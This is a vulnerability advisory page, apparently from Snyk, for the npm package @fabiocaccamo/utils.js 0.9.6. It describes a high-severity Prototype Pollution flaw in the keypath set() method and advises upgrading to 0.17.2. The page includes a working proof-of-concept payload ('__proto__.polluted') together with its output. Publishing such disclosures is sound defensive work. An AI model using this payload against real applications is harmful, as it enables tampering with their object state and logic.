@fabiocaccamo/utils.js@0.9.6 vulnerabilities

zero dependencies vanilla JavaScript utils.

  • latest version

    1.1.1

  • latest non vulnerable version

  • first published

    7 years ago

  • latest version published

    16 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the @fabiocaccamo/utils.js package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    @fabiocaccamo/utils.js is a JavaScript utils for lazy devs.

    Affected versions of this package are vulnerable to Prototype Pollution via the set() and method, which merges the path and value parameters based on the key:value.

    ###PoC

    const utils = require("@fabiocaccamo/utils.js");
    const obj = {};
    const fake_obj = {};
    
    console.log(`[+] Before prototype pollution : ${obj.polluted}`);
    utils.object.keypath.set(fake_obj, '__proto__.polluted', true);
    console.log(`[+] After prototype pollution : ${obj.polluted}`);
    
    /* 
    [+] Before prototype pollution : undefined
    [+] After prototype pollution : true
    */
    

    How to fix Prototype Pollution?

    Upgrade @fabiocaccamo/utils.js to version 0.17.2 or higher.

    <0.17.2